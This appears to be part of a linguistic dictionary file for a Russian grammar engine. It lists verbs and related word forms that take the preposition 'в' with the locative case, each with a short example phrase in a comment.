rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
